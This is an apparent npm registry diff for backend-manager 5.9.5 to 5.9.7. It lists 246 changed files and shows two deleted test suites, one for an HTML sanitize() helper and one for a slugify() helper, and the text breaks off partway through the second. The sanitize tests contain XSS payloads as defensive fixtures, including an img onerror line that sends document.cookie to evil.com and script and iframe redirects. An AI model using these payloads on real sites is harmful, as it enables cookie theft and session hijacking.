backend-manager 5.9.5 → 5.9.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (246) hide show
  1. package/package.json +8 -1
  2. package/src/manager/events/cron/runner.js +0 -1
  3. package/src/manager/libraries/email/data/disposable-domains.json +21 -0
  4. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-11T03-28-07/metadata.json +14 -0
  5. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-11T03-28-07/newsletter.html +486 -0
  6. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-11T03-28-07/newsletter.md +41 -0
  7. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-11T03-28-07/newsletter.mjml +97 -0
  8. package/{test/email/fixtures/clean.json → src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-11T03-28-07/structure.json} +16 -4
  9. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-11T03-28-07/summary.md +1 -0
  10. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-18T01-00-28/metadata.json +14 -0
  11. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-18T01-00-28/newsletter.html +486 -0
  12. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-18T01-00-28/newsletter.md +41 -0
  13. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-18T01-00-28/newsletter.mjml +97 -0
  14. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-18T01-00-28/structure.json +42 -0
  15. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-18T01-00-28/summary.md +1 -0
  16. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-18T01-01-34/metadata.json +14 -0
  17. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-18T01-01-34/newsletter.html +486 -0
  18. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-18T01-01-34/newsletter.md +41 -0
  19. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-18T01-01-34/newsletter.mjml +97 -0
  20. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-18T01-01-34/structure.json +42 -0
  21. package/src/test/fixtures/firebase-project/.temp/newsletter/run-2026-06-18T01-01-34/summary.md +1 -0
  22. package/src/test/fixtures/firebase-project/.temp/test-mode.json +6 -0
  23. package/src/test/fixtures/firebase-project/database-debug.log +12 -0
  24. package/src/test/fixtures/firebase-project/firestore-debug.log +132 -0
  25. package/src/test/fixtures/firebase-project/pubsub-debug.log +17 -0
  26. package/.codeclimate.yml +0 -32
  27. package/.nvmrc +0 -1
  28. package/CHANGELOG.md +0 -1440
  29. package/PROGRESS.md +0 -93
  30. package/TODO-2.md +0 -121
  31. package/TODO-CHARGEBLAST.md +0 -32
  32. package/TODO-WEBHOOK-KEY-LEGACY-REMOVAL.md +0 -15
  33. package/TODO-WEBHOOK-KEY-UPGRADE.md +0 -138
  34. package/TODO-email-auth.md +0 -14
  35. package/TODO.md +0 -187
  36. package/plans/mcp2.md +0 -247
  37. package/plans/suspended-subscription-dead-zone.md +0 -97
  38. package/scripts/test-helper-providers.js +0 -162
  39. package/scripts/update-disposable-domains.js +0 -44
  40. package/templates/_.env +0 -42
  41. package/templates/_.gitignore +0 -60
  42. package/templates/backend-manager-config.json +0 -249
  43. package/templates/database.rules.json +0 -83
  44. package/templates/firebase.json +0 -66
  45. package/templates/firestore.indexes.json +0 -4
  46. package/templates/firestore.rules +0 -112
  47. package/templates/public/404.html +0 -26
  48. package/templates/public/index.html +0 -24
  49. package/templates/remoteconfig.template.json +0 -1
  50. package/templates/storage-lifecycle-config-1-day.json +0 -9
  51. package/templates/storage-lifecycle-config-30-days.json +0 -9
  52. package/templates/storage.rules +0 -8
  53. package/test/_init/accounts-validation.js +0 -58
  54. package/test/_legacy/ai/index.js +0 -231
  55. package/test/_legacy/ai/test.jpg +0 -0
  56. package/test/_legacy/ai/test.pdf +0 -0
  57. package/test/_legacy/index.js +0 -31
  58. package/test/_legacy/payment-resolver/chargebee/orders/refunded.json +0 -0
  59. package/test/_legacy/payment-resolver/chargebee/orders/unpaid.json +0 -98
  60. package/test/_legacy/payment-resolver/chargebee/subscriptions/active.json +0 -578
  61. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-in-trial.json +0 -38
  62. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-skipped-to-active.json +0 -135
  63. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-to-active-to-cancelled.json +0 -42
  64. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-to-active.json +0 -44
  65. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-to-cancelled.json +0 -39
  66. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-to-refund.json +0 -143
  67. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-to-suspended.json +0 -48
  68. package/test/_legacy/payment-resolver/coinbase/orders/regular.json +0 -204
  69. package/test/_legacy/payment-resolver/coinbase/subscriptions/cancelled.json +0 -204
  70. package/test/_legacy/payment-resolver/coinbase/subscriptions/paid-2.json +0 -125
  71. package/test/_legacy/payment-resolver/index.js +0 -1558
  72. package/test/_legacy/payment-resolver/paypal/orders/refunded.json +0 -0
  73. package/test/_legacy/payment-resolver/paypal/orders/regular.json +0 -120
  74. package/test/_legacy/payment-resolver/paypal/subscriptions/active-refund-previous-stmnt.json +0 -323
  75. package/test/_legacy/payment-resolver/paypal/subscriptions/active.json +0 -192
  76. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-in-trial.json +0 -125
  77. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-payment-not-complete.json +0 -76
  78. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-payment-overdue-2.json +0 -114
  79. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-payment-overdue.json +0 -114
  80. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-to-active-to-cancelled.json +0 -111
  81. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-to-active.json +0 -132
  82. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-to-cancelled.json +0 -107
  83. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-to-expired.json +0 -91
  84. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-to-refund.json +0 -147
  85. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-to-suspended.json +0 -120
  86. package/test/_legacy/payment-resolver/stripe/orders/refunded.json +0 -0
  87. package/test/_legacy/payment-resolver/stripe/orders/regular.json +0 -91
  88. package/test/_legacy/payment-resolver/stripe/subscriptions/active.json +0 -421
  89. package/test/_legacy/payment-resolver/stripe/subscriptions/trial-in-trial.json +0 -349
  90. package/test/_legacy/payment-resolver/stripe/subscriptions/trial-to-active-failed-authorization.json +0 -430
  91. package/test/_legacy/payment-resolver/stripe/subscriptions/trial-to-active.json +0 -319
  92. package/test/_legacy/payment-resolver/stripe/subscriptions/trial-to-cancelled.json +0 -319
  93. package/test/_legacy/payment-resolver/stripe/subscriptions/trial-to-refund.json +0 -414
  94. package/test/_legacy/payment-resolver/stripe/subscriptions/trial-to-suspended.json +0 -319
  95. package/test/_legacy/payment-resolver/stripe/subscriptions/unsure.json +0 -339
  96. package/test/_legacy/test-new +0 -1178
  97. package/test/_legacy/test.md +0 -89
  98. package/test/_legacy/usage.js +0 -175
  99. package/test/_legacy/user.js +0 -31
  100. package/test/ai/tools-live.js +0 -170
  101. package/test/boot/emulator-boots.js +0 -37
  102. package/test/content/blog-generate.js +0 -160
  103. package/test/email/campaign-send.js +0 -45
  104. package/test/email/consent-lifecycle.js +0 -257
  105. package/test/email/feedback-and-plain-send.js +0 -52
  106. package/test/email/fixtures/editorial.json +0 -30
  107. package/test/email/fixtures/field-report.json +0 -53
  108. package/test/email/marketing-lifecycle.js +0 -132
  109. package/test/email/newsletter-generate.js +0 -819
  110. package/test/email/newsletter-templates.js +0 -491
  111. package/test/email/templates.js +0 -207
  112. package/test/email/transactional-send.js +0 -34
  113. package/test/email/transactional.js +0 -560
  114. package/test/email/validation.js +0 -710
  115. package/test/events/auth-delete-race.js +0 -201
  116. package/test/events/payments/journey-payments-cancel-endpoint.js +0 -100
  117. package/test/events/payments/journey-payments-cancel.js +0 -182
  118. package/test/events/payments/journey-payments-discount.js +0 -89
  119. package/test/events/payments/journey-payments-failure.js +0 -146
  120. package/test/events/payments/journey-payments-legacy-product.js +0 -149
  121. package/test/events/payments/journey-payments-one-time-failure.js +0 -111
  122. package/test/events/payments/journey-payments-one-time.js +0 -136
  123. package/test/events/payments/journey-payments-plan-change.js +0 -144
  124. package/test/events/payments/journey-payments-refund-webhook.js +0 -180
  125. package/test/events/payments/journey-payments-suspend.js +0 -181
  126. package/test/events/payments/journey-payments-trial-cancel.js +0 -130
  127. package/test/events/payments/journey-payments-trial.js +0 -171
  128. package/test/events/payments/journey-payments-uid-resolution.js +0 -132
  129. package/test/events/payments/journey-payments-upgrade.js +0 -135
  130. package/test/fixtures/chargebee/invoice-one-time.json +0 -27
  131. package/test/fixtures/chargebee/subscription-active.json +0 -44
  132. package/test/fixtures/chargebee/subscription-cancelled.json +0 -42
  133. package/test/fixtures/chargebee/subscription-in-trial.json +0 -41
  134. package/test/fixtures/chargebee/subscription-legacy-plan.json +0 -41
  135. package/test/fixtures/chargebee/subscription-non-renewing.json +0 -41
  136. package/test/fixtures/chargebee/subscription-paused.json +0 -42
  137. package/test/fixtures/chargebee/webhook-payment-failed.json +0 -51
  138. package/test/fixtures/chargebee/webhook-subscription-created.json +0 -47
  139. package/test/fixtures/paypal/order-approved.json +0 -62
  140. package/test/fixtures/paypal/order-completed.json +0 -110
  141. package/test/fixtures/paypal/subscription-active.json +0 -76
  142. package/test/fixtures/paypal/subscription-cancelled.json +0 -50
  143. package/test/fixtures/paypal/subscription-suspended.json +0 -65
  144. package/test/fixtures/stripe/checkout-session-completed.json +0 -130
  145. package/test/fixtures/stripe/invoice-payment-failed.json +0 -148
  146. package/test/fixtures/stripe/invoice-subscription-payment-failed.json +0 -28
  147. package/test/fixtures/stripe/subscription-active.json +0 -161
  148. package/test/fixtures/stripe/subscription-canceled.json +0 -161
  149. package/test/fixtures/stripe/subscription-trialing.json +0 -161
  150. package/test/functions/admin/database-read.js +0 -134
  151. package/test/functions/admin/database-write.js +0 -159
  152. package/test/functions/admin/edit-post.js +0 -366
  153. package/test/functions/admin/firestore-query.js +0 -207
  154. package/test/functions/admin/firestore-read.js +0 -129
  155. package/test/functions/admin/firestore-write.js +0 -105
  156. package/test/functions/admin/get-stats.js +0 -115
  157. package/test/functions/admin/send-email.js +0 -119
  158. package/test/functions/admin/send-notification.js +0 -208
  159. package/test/functions/admin/write-repo-content.js +0 -223
  160. package/test/functions/general/add-marketing-contact.js +0 -335
  161. package/test/functions/general/fetch-post.js +0 -54
  162. package/test/functions/general/generate-uuid.js +0 -114
  163. package/test/functions/test/authenticate.js +0 -64
  164. package/test/functions/user/create-custom-token.js +0 -73
  165. package/test/functions/user/delete.js +0 -135
  166. package/test/functions/user/get-active-sessions.js +0 -111
  167. package/test/functions/user/get-subscription-info.js +0 -99
  168. package/test/functions/user/regenerate-api-keys.js +0 -156
  169. package/test/functions/user/resolve.js +0 -52
  170. package/test/functions/user/sign-out-all-sessions.js +0 -94
  171. package/test/functions/user/sign-up.js +0 -252
  172. package/test/functions/user/submit-feedback.js +0 -104
  173. package/test/functions/user/validate-settings.js +0 -82
  174. package/test/helpers/ai-request-payload.js +0 -300
  175. package/test/helpers/ai-test-provider.js +0 -202
  176. package/test/helpers/ai-tools-format.js +0 -383
  177. package/test/helpers/content/blog-auto-publisher.js +0 -484
  178. package/test/helpers/content/feed-parser.js +0 -528
  179. package/test/helpers/content/ghostii-blocks.js +0 -134
  180. package/test/helpers/content/ghostii-feed-integration.js +0 -404
  181. package/test/helpers/content/ghostii-write-article.js +0 -243
  182. package/test/helpers/environment.js +0 -230
  183. package/test/helpers/infer-contact.js +0 -113
  184. package/test/helpers/merge-line-files.js +0 -271
  185. package/test/helpers/payment/chargebee/parse-webhook.js +0 -413
  186. package/test/helpers/payment/chargebee/to-unified-one-time.js +0 -147
  187. package/test/helpers/payment/chargebee/to-unified-subscription.js +0 -648
  188. package/test/helpers/payment/paypal/parse-webhook.js +0 -539
  189. package/test/helpers/payment/paypal/to-unified-one-time.js +0 -382
  190. package/test/helpers/payment/paypal/to-unified-subscription.js +0 -820
  191. package/test/helpers/payment/stripe/parse-webhook.js +0 -447
  192. package/test/helpers/payment/stripe/to-unified-one-time.js +0 -306
  193. package/test/helpers/payment/stripe/to-unified-subscription.js +0 -708
  194. package/test/helpers/sanitize.js +0 -222
  195. package/test/helpers/slugify.js +0 -394
  196. package/test/helpers/storage.js +0 -194
  197. package/test/helpers/user.js +0 -755
  198. package/test/helpers/webhook-forward.js +0 -418
  199. package/test/mcp/discovery.js +0 -53
  200. package/test/mcp/oauth.js +0 -161
  201. package/test/mcp/protocol.js +0 -268
  202. package/test/mcp/roles.js +0 -188
  203. package/test/mcp/utils.js +0 -245
  204. package/test/routes/admin/create-post.js +0 -364
  205. package/test/routes/admin/database.js +0 -131
  206. package/test/routes/admin/deduplicate-image-alts.js +0 -190
  207. package/test/routes/admin/email.js +0 -114
  208. package/test/routes/admin/firestore-query.js +0 -204
  209. package/test/routes/admin/firestore.js +0 -127
  210. package/test/routes/admin/infer-contact.js +0 -218
  211. package/test/routes/admin/notification.js +0 -198
  212. package/test/routes/admin/post-resize-image.js +0 -184
  213. package/test/routes/admin/post.js +0 -368
  214. package/test/routes/admin/repo-content.js +0 -223
  215. package/test/routes/admin/stats.js +0 -112
  216. package/test/routes/content/post.js +0 -54
  217. package/test/routes/general/uuid.js +0 -115
  218. package/test/routes/marketing/campaign.js +0 -125
  219. package/test/routes/marketing/contact.js +0 -370
  220. package/test/routes/marketing/email-preferences.js +0 -292
  221. package/test/routes/marketing/push-send.js +0 -32
  222. package/test/routes/marketing/webhook-forward.js +0 -61
  223. package/test/routes/marketing/webhook.js +0 -639
  224. package/test/routes/payments/cancel.js +0 -163
  225. package/test/routes/payments/discount.js +0 -80
  226. package/test/routes/payments/dispute-alert.js +0 -320
  227. package/test/routes/payments/intent.js +0 -336
  228. package/test/routes/payments/portal.js +0 -92
  229. package/test/routes/payments/refund.js +0 -179
  230. package/test/routes/payments/trial-eligibility.js +0 -71
  231. package/test/routes/payments/webhook.js +0 -107
  232. package/test/routes/test/authenticate.js +0 -59
  233. package/test/routes/test/schema.js +0 -554
  234. package/test/routes/test/usage.js +0 -342
  235. package/test/routes/user/api-keys.js +0 -156
  236. package/test/routes/user/delete.js +0 -136
  237. package/test/routes/user/feedback.js +0 -104
  238. package/test/routes/user/sessions.js +0 -199
  239. package/test/routes/user/settings-validate.js +0 -82
  240. package/test/routes/user/signup.js +0 -542
  241. package/test/routes/user/subscription.js +0 -99
  242. package/test/routes/user/token.js +0 -73
  243. package/test/routes/user/user.js +0 -157
  244. package/test/rules/notifications.js +0 -410
  245. package/test/rules/payments-carts.js +0 -371
  246. package/test/rules/user.js +0 -396
@@ -1,222 +0,0 @@
1
- /**
2
- * Test: helpers/utilities.sanitize()
3
- * Unit tests for HTML sanitization and trimming across all data types
4
- *
5
- * Run: npx mgr test helpers/sanitize
6
- *
7
- * Covers:
8
- * - Pure schema fields (sanitized by default, opt-out with sanitize: false)
9
- * - All non-schema fields (no schema, sanitize everything)
10
- * - Combo: schema + non-schema fields together
11
- */
12
- const Utilities = require('../../src/manager/helpers/utilities.js');
13
-
14
- // Mock Manager
15
- const Manager = { libraries: {} };
16
- const utilities = new Utilities(Manager);
17
-
18
- module.exports = {
19
- description: 'Utilities.sanitize()',
20
- type: 'group',
21
-
22
- tests: [
23
- // ─── Strings ───
24
-
25
- {
26
- name: 'strips-script-tags',
27
- async run({ assert }) {
28
- const result = utilities.sanitize('<script>alert("xss")</script>hello');
29
- assert.equal(result, 'hello', 'Should strip script tags');
30
- },
31
- },
32
-
33
- {
34
- name: 'strips-img-onerror',
35
- async run({ assert }) {
36
- const result = utilities.sanitize('<img src=x onerror="alert(1)">text');
37
- assert.equal(result, 'text', 'Should strip img with onerror');
38
- },
39
- },
40
-
41
- {
42
- name: 'strips-nested-html-keeps-text',
43
- async run({ assert }) {
44
- const result = utilities.sanitize('<div><b>bold</b> and <i>italic</i></div>');
45
- assert.equal(result, 'bold and italic', 'Should strip all tags but keep text');
46
- },
47
- },
48
-
49
- {
50
- name: 'trims-whitespace',
51
- async run({ assert }) {
52
- const result = utilities.sanitize(' hello world ');
53
- assert.equal(result, 'hello world', 'Should trim');
54
- },
55
- },
56
-
57
- {
58
- name: 'strips-and-trims-together',
59
- async run({ assert }) {
60
- const result = utilities.sanitize(' <b>hello</b> ');
61
- assert.equal(result, 'hello', 'Should strip tags and trim');
62
- },
63
- },
64
-
65
- {
66
- name: 'clean-string-unchanged',
67
- async run({ assert }) {
68
- const result = utilities.sanitize('just plain text');
69
- assert.equal(result, 'just plain text', 'Clean string should pass through');
70
- },
71
- },
72
-
73
- {
74
- name: 'empty-string-unchanged',
75
- async run({ assert }) {
76
- const result = utilities.sanitize('');
77
- assert.equal(result, '', 'Empty string should remain empty');
78
- },
79
- },
80
-
81
- // ─── Primitives ───
82
-
83
- {
84
- name: 'null-returns-null',
85
- async run({ assert }) {
86
- assert.equal(utilities.sanitize(null), null, 'null should pass through');
87
- },
88
- },
89
-
90
- {
91
- name: 'undefined-returns-undefined',
92
- async run({ assert }) {
93
- assert.equal(utilities.sanitize(undefined), undefined, 'undefined should pass through');
94
- },
95
- },
96
-
97
- {
98
- name: 'number-passes-through',
99
- async run({ assert }) {
100
- assert.equal(utilities.sanitize(42), 42, 'Numbers should pass through');
101
- },
102
- },
103
-
104
- {
105
- name: 'boolean-passes-through',
106
- async run({ assert }) {
107
- assert.equal(utilities.sanitize(true), true, 'Booleans should pass through');
108
- },
109
- },
110
-
111
- // ─── Non-schema objects (sanitize everything) ───
112
-
113
- {
114
- name: 'flat-object-sanitizes-all-strings',
115
- async run({ assert }) {
116
- const result = utilities.sanitize({
117
- name: '<b>Evil Corp</b>',
118
- count: 5,
119
- active: true,
120
- });
121
- assert.equal(result.name, 'Evil Corp', 'Should strip HTML from name');
122
- assert.equal(result.count, 5, 'Number should pass through');
123
- assert.equal(result.active, true, 'Boolean should pass through');
124
- },
125
- },
126
-
127
- {
128
- name: 'deeply-nested-object-sanitizes',
129
- async run({ assert }) {
130
- const result = utilities.sanitize({
131
- settings: {
132
- brand: {
133
- name: '<script>xss</script>Acme',
134
- about: '<img src=x onerror=alert(1)>We sell stuff',
135
- },
136
- enabled: true,
137
- },
138
- });
139
- assert.equal(result.settings.brand.name, 'Acme', 'Should strip deep nested script');
140
- assert.equal(result.settings.brand.about, 'We sell stuff', 'Should strip deep nested img');
141
- assert.equal(result.settings.enabled, true, 'Deep boolean should pass through');
142
- },
143
- },
144
-
145
- // ─── Arrays ───
146
-
147
- {
148
- name: 'array-sanitizes-each-string',
149
- async run({ assert }) {
150
- const result = utilities.sanitize(['<b>one</b>', 'two', '<script>x</script>three']);
151
- assert.equal(result[0], 'one', 'First element stripped');
152
- assert.equal(result[1], 'two', 'Clean element unchanged');
153
- assert.equal(result[2], 'three', 'Third element stripped');
154
- },
155
- },
156
-
157
- {
158
- name: 'array-of-objects',
159
- async run({ assert }) {
160
- const result = utilities.sanitize([
161
- { name: '<b>Alice</b>' },
162
- { name: '<i>Bob</i>' },
163
- ]);
164
- assert.equal(result[0].name, 'Alice', 'First object name stripped');
165
- assert.equal(result[1].name, 'Bob', 'Second object name stripped');
166
- },
167
- },
168
-
169
- {
170
- name: 'mixed-array-types',
171
- async run({ assert }) {
172
- const result = utilities.sanitize(['<b>text</b>', 42, null, true]);
173
- assert.equal(result[0], 'text', 'String stripped');
174
- assert.equal(result[1], 42, 'Number passed through');
175
- assert.equal(result[2], null, 'null passed through');
176
- assert.equal(result[3], true, 'Boolean passed through');
177
- },
178
- },
179
-
180
- // ─── XSS attack vectors ───
181
-
182
- {
183
- name: 'xss-event-handler',
184
- async run({ assert }) {
185
- assert.equal(utilities.sanitize('<div onmouseover="alert(1)">hover me</div>'), 'hover me');
186
- },
187
- },
188
-
189
- {
190
- name: 'xss-iframe',
191
- async run({ assert }) {
192
- assert.equal(utilities.sanitize('<iframe src="evil.com"></iframe>safe'), 'safe');
193
- },
194
- },
195
-
196
- {
197
- name: 'xss-svg-onload',
198
- async run({ assert }) {
199
- const result = utilities.sanitize('<svg onload="alert(1)">test</svg>');
200
- assert.equal(result.includes('onload'), false, 'Should not contain onload');
201
- },
202
- },
203
-
204
- {
205
- name: 'xss-full-agent-creation-payload',
206
- async run({ assert }) {
207
- const result = utilities.sanitize({
208
- name: '<img src=x onerror="fetch(\'https://evil.com?c=\'+document.cookie)">Agent',
209
- welcomeMessage: 'Hello <script>document.location="https://evil.com"</script>',
210
- brand: {
211
- name: '"><script>alert("xss")</script>',
212
- about: '<iframe src="https://evil.com"></iframe>About us',
213
- },
214
- });
215
- assert.equal(result.name, 'Agent', 'name should be clean');
216
- assert.equal(result.welcomeMessage.includes('<script>'), false, 'welcomeMessage should not have script');
217
- assert.equal(result.brand.name.includes('<script>'), false, 'brand.name should not have script');
218
- assert.equal(result.brand.about, 'About us', 'brand.about should be clean');
219
- },
220
- },
221
- ],
222
- };
@@ -1,394 +0,0 @@
1
- /**
2
- * Test: helpers/utilities.slugify()
3
- * Unit tests for the canonical URL slug builder.
4
- *
5
- * Run: npx mgr test helpers/slugify
6
- *
7
- * slugify is the SSOT used by:
8
- * - BEM admin/post (legacy + modern) for URL + image filenames
9
- * - Sponsorship platform validator.buildFormatted()
10
- *
11
- * Contract:
12
- * - Strip all non-alphanumeric characters → replace with `-`
13
- * - Collapse runs of `-` into a single `-`
14
- * - Trim leading/trailing `-`
15
- * - Lowercase the result
16
- * - Non-string input → empty string
17
- */
18
- const Utilities = require('../../src/manager/helpers/utilities.js');
19
-
20
- const Manager = { libraries: {} };
21
- const utilities = new Utilities(Manager);
22
-
23
- module.exports = {
24
- description: 'Utilities.slugify()',
25
- type: 'group',
26
-
27
- tests: [
28
- // ─── Basic happy path ───
29
-
30
- {
31
- name: 'lowercases-simple-string',
32
- async run({ assert }) {
33
- assert.equal(utilities.slugify('Hello World'), 'hello-world');
34
- },
35
- },
36
-
37
- {
38
- name: 'preserves-numbers',
39
- async run({ assert }) {
40
- assert.equal(utilities.slugify('Top 10 Products 2025'), 'top-10-products-2025');
41
- },
42
- },
43
-
44
- {
45
- name: 'already-a-slug-passes-through',
46
- async run({ assert }) {
47
- assert.equal(utilities.slugify('already-a-slug'), 'already-a-slug');
48
- },
49
- },
50
-
51
- {
52
- name: 'single-word-unchanged',
53
- async run({ assert }) {
54
- assert.equal(utilities.slugify('hello'), 'hello');
55
- },
56
- },
57
-
58
- // ─── The bug that drove this: collapse runs of `-` ───
59
-
60
- {
61
- name: 'collapses-double-dashes-from-literal-hyphen-space',
62
- async run({ assert }) {
63
- // The real-world example: "Copy- Paste" produced "copy--paste" before the fix
64
- assert.equal(
65
- utilities.slugify('AI Study Prompts That Work: Copy- Paste Questions for Every Subject'),
66
- 'ai-study-prompts-that-work-copy-paste-questions-for-every-subject',
67
- );
68
- },
69
- },
70
-
71
- {
72
- name: 'collapses-many-consecutive-dashes',
73
- async run({ assert }) {
74
- assert.equal(utilities.slugify('foo---bar'), 'foo-bar');
75
- assert.equal(utilities.slugify('foo-----bar'), 'foo-bar');
76
- },
77
- },
78
-
79
- {
80
- name: 'collapses-mixed-runs-of-special-chars',
81
- async run({ assert }) {
82
- // " / - / " → multiple non-alphanum → all become one `-`
83
- assert.equal(utilities.slugify('foo / - / bar'), 'foo-bar');
84
- },
85
- },
86
-
87
- // ─── Leading/trailing trim ───
88
-
89
- {
90
- name: 'strips-leading-and-trailing-spaces',
91
- async run({ assert }) {
92
- assert.equal(utilities.slugify(' hello world '), 'hello-world');
93
- },
94
- },
95
-
96
- {
97
- name: 'strips-leading-and-trailing-dashes',
98
- async run({ assert }) {
99
- assert.equal(utilities.slugify('---hello---'), 'hello');
100
- },
101
- },
102
-
103
- {
104
- name: 'strips-leading-slash',
105
- async run({ assert }) {
106
- assert.equal(utilities.slugify('/foo/bar'), 'foo-bar');
107
- },
108
- },
109
-
110
- {
111
- name: 'strips-trailing-slash',
112
- async run({ assert }) {
113
- assert.equal(utilities.slugify('foo/bar/'), 'foo-bar');
114
- },
115
- },
116
-
117
- {
118
- name: 'strips-both-slashes',
119
- async run({ assert }) {
120
- assert.equal(utilities.slugify('/foo/bar/'), 'foo-bar');
121
- },
122
- },
123
-
124
- // ─── Punctuation ───
125
-
126
- {
127
- name: 'colon-becomes-dash',
128
- async run({ assert }) {
129
- assert.equal(utilities.slugify('Title: Subtitle'), 'title-subtitle');
130
- },
131
- },
132
-
133
- {
134
- name: 'comma-becomes-dash',
135
- async run({ assert }) {
136
- assert.equal(utilities.slugify('one, two, three'), 'one-two-three');
137
- },
138
- },
139
-
140
- {
141
- name: 'question-mark-becomes-dash',
142
- async run({ assert }) {
143
- assert.equal(utilities.slugify('What is AI?'), 'what-is-ai');
144
- },
145
- },
146
-
147
- {
148
- name: 'exclamation-becomes-dash',
149
- async run({ assert }) {
150
- assert.equal(utilities.slugify('Hello World!'), 'hello-world');
151
- },
152
- },
153
-
154
- {
155
- name: 'period-becomes-dash',
156
- async run({ assert }) {
157
- assert.equal(utilities.slugify('v1.2.3'), 'v1-2-3');
158
- },
159
- },
160
-
161
- {
162
- name: 'apostrophe-becomes-dash',
163
- async run({ assert }) {
164
- assert.equal(utilities.slugify("don't stop"), 'don-t-stop');
165
- },
166
- },
167
-
168
- {
169
- name: 'quotes-become-dashes',
170
- async run({ assert }) {
171
- assert.equal(utilities.slugify('"Hello" said the dog'), 'hello-said-the-dog');
172
- },
173
- },
174
-
175
- {
176
- name: 'parens-become-dashes',
177
- async run({ assert }) {
178
- assert.equal(utilities.slugify('Function (advanced)'), 'function-advanced');
179
- },
180
- },
181
-
182
- {
183
- name: 'brackets-become-dashes',
184
- async run({ assert }) {
185
- assert.equal(utilities.slugify('Array[0] access'), 'array-0-access');
186
- },
187
- },
188
-
189
- {
190
- name: 'ampersand-becomes-dash',
191
- async run({ assert }) {
192
- assert.equal(utilities.slugify('Salt & Pepper'), 'salt-pepper');
193
- },
194
- },
195
-
196
- {
197
- name: 'hash-becomes-dash',
198
- async run({ assert }) {
199
- assert.equal(utilities.slugify('issue #42'), 'issue-42');
200
- },
201
- },
202
-
203
- {
204
- name: 'at-sign-becomes-dash',
205
- async run({ assert }) {
206
- assert.equal(utilities.slugify('user@example.com'), 'user-example-com');
207
- },
208
- },
209
-
210
- // ─── Unicode / non-ASCII ───
211
-
212
- {
213
- name: 'em-dash-becomes-dash',
214
- async run({ assert }) {
215
- assert.equal(utilities.slugify('Title — Subtitle'), 'title-subtitle');
216
- },
217
- },
218
-
219
- {
220
- name: 'curly-quotes-become-dashes',
221
- async run({ assert }) {
222
- assert.equal(utilities.slugify('“Hello”'), 'hello');
223
- },
224
- },
225
-
226
- {
227
- name: 'emoji-becomes-dash',
228
- async run({ assert }) {
229
- assert.equal(utilities.slugify('Rocket 🚀 launch'), 'rocket-launch');
230
- },
231
- },
232
-
233
- {
234
- name: 'accented-chars-become-dashes',
235
- async run({ assert }) {
236
- // Slugify is ASCII-only by design — accents get stripped to dashes
237
- // (Future improvement could be to transliterate, but current behavior is documented here)
238
- assert.equal(utilities.slugify('café'), 'caf');
239
- },
240
- },
241
-
242
- // ─── Whitespace variants ───
243
-
244
- {
245
- name: 'tab-becomes-dash',
246
- async run({ assert }) {
247
- assert.equal(utilities.slugify('foo\tbar'), 'foo-bar');
248
- },
249
- },
250
-
251
- {
252
- name: 'newline-becomes-dash',
253
- async run({ assert }) {
254
- assert.equal(utilities.slugify('foo\nbar'), 'foo-bar');
255
- },
256
- },
257
-
258
- {
259
- name: 'multiple-spaces-collapse',
260
- async run({ assert }) {
261
- assert.equal(utilities.slugify('foo bar'), 'foo-bar');
262
- },
263
- },
264
-
265
- {
266
- name: 'mixed-whitespace-collapses',
267
- async run({ assert }) {
268
- assert.equal(utilities.slugify('foo \t \n bar'), 'foo-bar');
269
- },
270
- },
271
-
272
- // ─── Edge cases / non-string input ───
273
-
274
- {
275
- name: 'empty-string-returns-empty',
276
- async run({ assert }) {
277
- assert.equal(utilities.slugify(''), '');
278
- },
279
- },
280
-
281
- {
282
- name: 'all-punctuation-returns-empty',
283
- async run({ assert }) {
284
- assert.equal(utilities.slugify('!@#$%^&*()'), '');
285
- },
286
- },
287
-
288
- {
289
- name: 'only-dashes-returns-empty',
290
- async run({ assert }) {
291
- assert.equal(utilities.slugify('-----'), '');
292
- },
293
- },
294
-
295
- {
296
- name: 'only-whitespace-returns-empty',
297
- async run({ assert }) {
298
- assert.equal(utilities.slugify(' '), '');
299
- },
300
- },
301
-
302
- {
303
- name: 'null-returns-empty-string',
304
- async run({ assert }) {
305
- assert.equal(utilities.slugify(null), '');
306
- },
307
- },
308
-
309
- {
310
- name: 'undefined-returns-empty-string',
311
- async run({ assert }) {
312
- assert.equal(utilities.slugify(undefined), '');
313
- },
314
- },
315
-
316
- {
317
- name: 'number-returns-empty-string',
318
- async run({ assert }) {
319
- // Non-string input → empty string (caller is responsible for stringifying)
320
- assert.equal(utilities.slugify(42), '');
321
- },
322
- },
323
-
324
- {
325
- name: 'object-returns-empty-string',
326
- async run({ assert }) {
327
- assert.equal(utilities.slugify({ foo: 'bar' }), '');
328
- },
329
- },
330
-
331
- {
332
